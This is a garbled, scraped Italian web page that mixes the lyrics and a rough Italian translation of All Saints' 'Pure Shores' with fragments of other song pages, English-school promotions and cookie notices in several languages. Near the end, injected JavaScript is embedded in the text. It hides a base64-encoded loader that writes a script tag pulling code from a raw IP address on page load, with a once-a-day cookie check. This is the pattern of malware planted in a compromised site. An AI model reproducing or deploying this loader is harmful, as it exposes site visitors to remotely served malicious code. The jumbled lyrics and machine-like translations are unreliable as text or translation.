A melancholy town where we never smile. I've crossed the deserts for milesHo attraversato il deserto per chilometriSwam water for timeNuotato acqua per voltaSearching places to findLuoghi di ricerca per trovareA piece of something to call mineUn pezzo di qualcosa da chiamare mio(I'm coming)(Sto arrivando)A piece of something to call mineUn pezzo di qualcosa da chiamare mio(I'm coming)(Sto arrivando)(I'm coming)(Sto arrivando)Coming closer to youVenendo più vicino a teWent along many moorsSiamo andati insieme molte landeWalked through many doorsCamminato attraverso molte porteThe place where I wanna beIl posto dove voglio essereIs the place I can call mineÈ il posto che posso chiamare mia(I'm coming)(Sto arrivando)Is the place I can call mineÈ il posto che posso chiamare mia(I'm coming)(Sto arrivando)(I'm coming)(Sto arrivando)Coming closer to youVenendo più vicino a teI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino a teNever been here beforeMai stato qui primaI'm intrigued, I'm unsureSono incuriosito, io sono sicuroI'm searching for moreSto cercando di piùI've got something thats all mineHo qualcosa questo è tutto mioI've got something thats all mineHo qualcosa questo è tutto mioTake me somewhere I can breathePortami da qualche parte posso respirareI've got so much to seeHo così tanto da vedereThis is where I want to beQuesto è dove voglio essereIn a place I can call mineIn un posto che posso chiamare miaIn a place I can call mineIn un posto che posso chiamare miaI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino a teMoving, comingSpostare, venendoCan you hear what I hear?Riesci a sentire ciò che sento? I can hear it, calling you Sono passati sedici anni dal grande successo dei Liquido, Narcotic. I film per imparare l'inglese sotto Natale: 5 saghe imperdibili. Testo Pure Shores (The Beach) powered by Musixmatch. Il video musicale con la traccia audio della canzone partirà automaticamente in basso a destra. Articoli dedicati alla grammatica inglese Non perderti più nulla da My English School. It’s calling you my dear Swimming closer to you Testo, video e traduzione in italiano di Pure Shores - All Saints traduzioni, testi canzoni tradotti in italiano, inglese. Many places I have been Testi con traduzione di All Saints: Pure Shores, Never Ever, After All, Black Coffee, Love last forever, Bootie Call, Rock Steady Nicki Minaj - Rake It Up, Loudness - The Law Of Devil's Land [Live Tokyo 2018], Paula Abdul - The Promise Of A New Day [Extended Club Mix], Paula Abdul - Vibeology [Keith Cohen's House Mix], Steam Powered Giraffe - Bad Days on the Horizon, Steam Powered Giraffe - Olly and the Equinox Band, Steam Powered Giraffe - Latum Alterum (Ya Ya Ya). Entra e scopri il significato della canzone! Articoli divertenti su film e musica. Wikitesti.com è la più grande enciclopedia musicale italiana, sul nostro sito oltre i testi delle canzoni potete trovare: traduzioni delle canzoni, accordi per chitarra, spartiti musicali e molto altro. Per migliorare la traduzione potete seguire questo link oppure premere il bottone blu in fondo. Si continúa navegando, consideramos que acepta su uso. Home > P > Pure Shores > Altre Canzoni > All Saints; Traduzione di All Saints Testo All Saints. :^|; )"+e.replace(/([\.$? Testo di Rock the Casbah Rock Nella Casbah Adesso il re ha detto al negro "Devi lasciar perdere il reggae" Il petrolio nel deserto È schizzato alle stelle Lo sceicco ha guidato la sua Cadillac Si è fatto un giretto giù in città Il muezzin era lì in piedi Sulla griglia del radiatore Allo sceriffo non piace I can hear it, calling you Condividerò questo momento con te e lo farò parlandoti di Pure Shores, la famosa canzone della band britannica All Saints scritta nel 2000 proprio come colonna sonora del film del grande Danny Boyle. Hai ottenuto un nuovo orizzonte, è uno stile effimero. You got a new horizon, it's ephemeral style. Can you hear, what I hear I’m coming not drowning Non hai capito le parole? Fai attenzione: il brano non è semplice (infatti l’esercizio è consigliato a studenti di livello intermediate e advanced) poiché i tempi verbali sono molti e tutti diversi; prova a individuarli e a capire perché è stato usato un tense piuttosto che un altro! With a land surface area equal to that of Contades Park, this site is one of the city's major parks, just like Orangerie Park, Citadelle Park or Two Shores Garden. I’m coming not drowning (Take me to my beach). E ve ne parliamo oggi. Came in from a rainy Thursday (rientro da un giovedì piovoso) On the avenue (sulla strada) Thought I heard you talking softly (ho immaginato di sentirti parlare delicatamente). Space Oddity Traduzione e testo originale a fronte, con video, del brano di David Bowie contenuto nell'omonimo album del 1969. I’m moving I’m coming Clicca sul pulsante qui sotto e inviaci la tua versione o le correzioni che ritieni necessarie. E la memoria è una delle questioni sollevate nella Mostra "Le rive dei mari", al SESC Pinheiros, nella città di São Paulo. I’m sitting here in the boring room – Sono seduto qui nella stanza della noia It’s just another rainy Sunday afternoon – È un altra domenica pomeriggio piovosa I’m wasting my time – Sto perdendo tempo I hear it calling you Swimming closer to you, Many faces I have seen The place where I want to be Una città di melanconica dove non sorridiamo mai. I’m intrigued I’m unsure Out of reach (Take me to my beach) Traduzione di Pure Shores Testo Pure Shores. Il brano parla della ricerca di un luogo meraviglioso e pacifico, un luogo in cui sentirsi finalmente a casa: una spiaggia! Swam water for time This is where I want to be Out of reach (Take me to my beach) Nuotato nelle acque a lungo . I’ve got something that’s all mine En continuant de naviguer sur le site, vous acceptez leur utilisation. Ecco il testo di Pure Shores di All Saints tratto da Saints & Sinners su Rockol.it. Coming closer to you, I’m moving I’m coming Searching places to find Can you hear, what I hear Is the place I can call mine (I’m coming) A piece of something to call mine (I'm coming, I'm coming) A piece of something to call mine (I'm coming, coming closer to you) Ran along many moors Walked through many doors The place where I wanna be Is the place I can call mine (I'm coming, I'm coming) Is the place I can call mine (I'm coming, coming closer to you) I'm moving, I'm coming, can you hear what I hear? Tutte le ultime news - consigli - promozioni esclusive per te. Il testo è un mix tra tutte quelle che sono le caratteristiche della vita del cantante: svago, droga, sesso e molto altro. Titolo Originale: Pure Shores. Tracking list e i testi dell'album: TV-Media Best Movie Hits Data di pubblicazione: 2007. Coming closer to you, Went along many moors It’s calling you my dear To drown= annegare Per migliorare la traduzione potete seguire questo link oppure premere il bottone blu in fondo. Tutti i connettivi in inglese che devi sapere con esercizi in pdf! Le 10 canzoni di Natale più allegre per imparare l'inglese! Da lì a farsi venire in mente il giovanissimo Leo (DiCaprio) sulla spiaggia del film The Beach, il passo è stato davvero breve. Puede obtener más información aquí. Questo sito web utilizza i cookies, continuando nella navigazione accetti tutti i cookies. I’m coming not drowning, I’m moving I’m coming La canzone “Bicycle race” è stata scritta da Freddie Mercury dopo che aveva guardato il Tour de France dalla sua stanza d’albergo. I’ve got so much to see Cosa aspetti? In a place I can call mine Ho attraversato il deserto per miglia . Tutti i suggerimenti saranno vagliati dal nostro staff e, se ritenuti validi, andranno a integrare o a sostituire la traduzione attuale. Articoli con tips e new sulla lingua inglese Tracking list e i testi dell'album: Crazy (The Devil Wears Prada) News ... Traduzione Pure Shores. Pure Shores (The Beach) è tratto dall'Album TV-Media Best Movie Hits - Tracklist e testi. Liquido, Narcotic: testo, traduzione e video. Lemon Tree è una canzone estratta da Dish of the Day, album del 1995 dei tedeschi Fool’s Garden.. Il testo e la traduzione di Lemon tree – in download su Amazon o su iTunes. I’m searching for more I've crossed the deserts for miles Swam water for time Searching places to find A piece of something to call mine (I'm coming) A piece of something to call mine (I'm coming) (I'm coming) Coming closer to you Went along many moors I’ve got something that’s all mine, Take me somewhere I can breathe And all I wanna hear is the message beep. Non uscirai dalla contea, perché sei cattivo e libero. Il testo e la traduzione di Ordinary World, canzone del 1993 dei Duran Duran. © 2011-2021 my english school | myes italia srl | sede legale: Via F. Baracca, 2 - 50127 Firenze, Articoli dedicati alla grammatica inglese, Articoli dedicati a inglese nel mondo del lavoro, Articoli con tips e new sulla lingua inglese. Many faces I have know Entra e non perderti neanche una parola! Many way in which I’ve grown Accédez à notre Politique de Confidentialité pour en savoir plus. Walked the deserts, swam the shores (Coming closer to you) Walked through many doors Ritieni che la traduzione del testo Pure Shores di All Saints non sia sufficientemente accurata? Toggle navigation. Out of reach (Take me to my beach) In a place I can call mine, Moving, coming all-saints TUTTI I TESTI Lista aggiornata il 14-12-2020 All Saints – After All Testo della canzone All Saints – All Hooked Up Testo della canzone All Saints – […] Swimming closer to you, Never been here before Cosa aspetti? Is the place I can call mine (I’m coming) (I’m coming) In cerca di luoghi per trovare . Entra e scopri il significato della canzone! un pezzo di qualcosa da poter dire mio (Arrivo) un pezzo di qualcosa da poter dire mio (Arrivo) (Arrivo) Avvicinandomi a te . Traduzioni aggiuntive: Italiano: Inglese: pure cong congiunzione: Particella o espressione che unisce due frasi e ne determina il rapporto semantico: e, ma, perché, quando: non comune (eppure, tuttavia): yet, and yet, although conj conjunction: Connects words, clauses, and sentences--for example, "and," "but," "because," "in order that. Attraversato molte porte I Queen fecero una gara di biciclette attorno a Wimbledon per promuovere il singolo. Sono passato per molte brughiere . Non hai capito le parole? A piece of something to call mine (I’m coming) A piece of something to call mine (I’m coming) (I’m coming) Their second album Saints and Sinners (2000) spawned their two biggest hits "Pure Shores" and "Black Coffee". Titolo Tradotto: Spiagge Pure. Tutto è cominciato un caldo pomeriggio, uno di quei pomeriggi trascorsi in città in mezzo all’afa; quei pomeriggi in cui l’unica cosa che puoi fare è sognare acque cristalline, spiagge assolate e magari qualche palma. A piece of something to call mine (I'm coming) A piece of something to call mine (I'm coming, coming closer to you) Went along many moors Walked through many doors The place where I wanna be Is the place I can call mine (I'm coming) Is the place I can call mine (I'm coming, coming closer to you) I'm moving, I'm coming Can you hear what I hear? E tutto quello che voglio sentire è il beep del messaggio Scopri i testi, gli aggiornamenti e gli approfondimenti sui tuoi artisti preferiti. Can you hear, what I hear Moors= lande desolate, brughiere; Il video musicale con la traccia audio della canzone partirà automaticamente in basso a destra. I've crossed the deserts for miles Swam water for time Searching places to find A piece of something to call mine (I'm coming) A piece of something to call mine (I'm coming) (I'm coming) Coming closer to you Went along many moors Walked through many doors Let me take you down – Lascia che ti accompagni ‘Cause I’m going to Strawberry Fields – Perché sto andando ai Campi di Fragole Nothing is real – Niente è reale And nothing to get hungabout – E niente per cui stare in attesa Strawberry Fields forever – Campi di fragole all’infinito. (Hear it out of reach)(Hear fuori mano)I hear it calling youHo sentito che ti chiamaSwimming closer to youNuoto più vicino a teMany faces I have seenMolti volti che ho vistoMany places I have beenMolti posti sono statoWalked the deserts, swam the shoresSiamo andati a piedi i deserti, nuotato sponde(Coming closer to you)(Venendo più vicino a te)Many faces I have knowMolti volti Ho sapereMany way in which I've grownMolti modo in cui sono cresciutoMoving closer on my ownAvvicinandosi da solo(Coming closer to you)(Venendo più vicino a te)I move itMi muovoI feel itLo sentoI'm comingSto arrivandoNot drowningNon annegamentoI move itMi muovoI feel itLo sentoI'm comingSto arrivandoNot drowningNon annegamentoI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino si(Take me to my beach)(Portami alla mia spiaggia). E’ il primo brano che segna la reunion ufficiale della band e anticipa il disco di inediti previsto per l’8 aprile 2016. Suggerisci correzioni Cosa aspetti? I've crossed the deserts for miles Swam water for time Searching places to find A piece of something to call mine (I'm coming) A piece of something to call mine (I'm coming) Articoli dedicati a inglese nel mondo del lavoro Moving closer on my own (Coming closer to you), I move it I feel it Di seguito troverete testo, video musicale e traduzione di Glorious - All Saints in varie lingue. ": Pure mi ricordo che una volta non eri così tirchio. All Saints testi e traduzioni delle canzoni: Testi e traduzioni delle canzoni in voga recentemente: Ho attraversato il deserto per chilometri, Siamo andati a piedi i deserti, nuotato sponde, All Saints - Always Something There To Remind Me, All Saints - Lady Marmalade (Timbaland Remix), Yo Gotti and Mike WiLL Made-It feat. Notre site web utilise des cookies. La certificazione C2 in inglese equivale ad un livello madrelingua? La storia di Giuseppe, studente 87enne in MyES! Swimming closer to you (Take me to my beach) Leggi la privacy policy per maggiori informazioni. Leggi la traduzione e guarda il video della canzone di Porcelain, tratta dall'album Play di Moby. This helped propel Saints and Sinners to 3 … I can hear it, calling you All Saints Testo. Esame IELTS: come descrivere un grafico in inglese, con esempio. Accédez à notre Politique de Confidentialité pour en savoir plus. It’s calling you my dear I’m coming not drowning Inutile dire che il brano è stato (anche per questo) un successo planetario! I move it I feel it I’m coming not drowning (Hear it out of reach) Di seguito troverete testo, video musicale e traduzione di Love Lasts Forever - All Saints in varie lingue. All Saints - Pure Shores: testo, traduzione, video e curiosità. La información adicional la encontrará en el AVISO LEGAL de nuestra página web. La traduzione in italiano del testo di Pure Shores cantata da All Saints Intrigued= affascinato; Utilizamos cookies propias y de terceros para mejorar nuestros servicios y mostrarle publicidad relacionada con sus preferencias mediante el análisis de sus hábitos de navegación. Il testo e la traduzione di Strawberry Fields forever. Can you hear what I hear? Out of reach= fuori portata, irraggiungibile; Leggi il testo Pure Shores di All Saints tratto dall'album Pure Shores. Impara i tempi verbali inglesi con la canzone colonna sonora di The Beach. Silvia e Laura Squizzato: gemelle, blogger, attrici ed English speakers, I lavori più strani e (ben) pagati in Australia, Esercizi sui verbi in inglese sulla differenza tra ride e drive. y acepto la información sobre protección de datos. Leggi la traduzione di Pure Shores, tratta dall'album Pure Shores di All Saints. The single "Pure Shores" was the second best-selling single of 2000 as a result of featuring in the hit film, The Beach, starring Leonardo DiCaprio. I’ve crossed the deserts for miles Pure Shores è tratto dall'Album Pure Shores Tracking list e i testi dell'album: Tracking list e i testi dell'album: Pure Shores Data di pubblicazione: 2000. Testo, traduzione, significato (e un po’ di storia) del focoso brano della musa ispiratrice che diventò anche icona e immagine integrante della band The Knack. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('